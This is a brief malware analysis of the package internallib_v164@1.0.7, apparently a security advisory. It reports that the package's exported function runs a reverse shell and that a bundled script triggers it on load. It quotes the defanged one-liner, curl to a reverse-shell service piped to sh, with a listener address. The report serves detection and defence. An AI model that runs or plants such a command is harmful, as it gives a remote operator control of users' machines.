internallib_v164@1.0.7

Analysis

The package's exported command() function executes a reverse shell via child_process: it runs `curl hxxps://reverse-shell[.]sh/10[.]0[.]72[.]234:4444 | sh`, fetching a reverse-shell payload from the reverse-shell.sh service and piping it to a shell that connects back to listener 10[.]0[.]72[.]234:4444. A bundled check.js requires the module and invokes command(), so loading the package triggers the shell. The reverse shell gives the remote operator command execution on the installer's machine.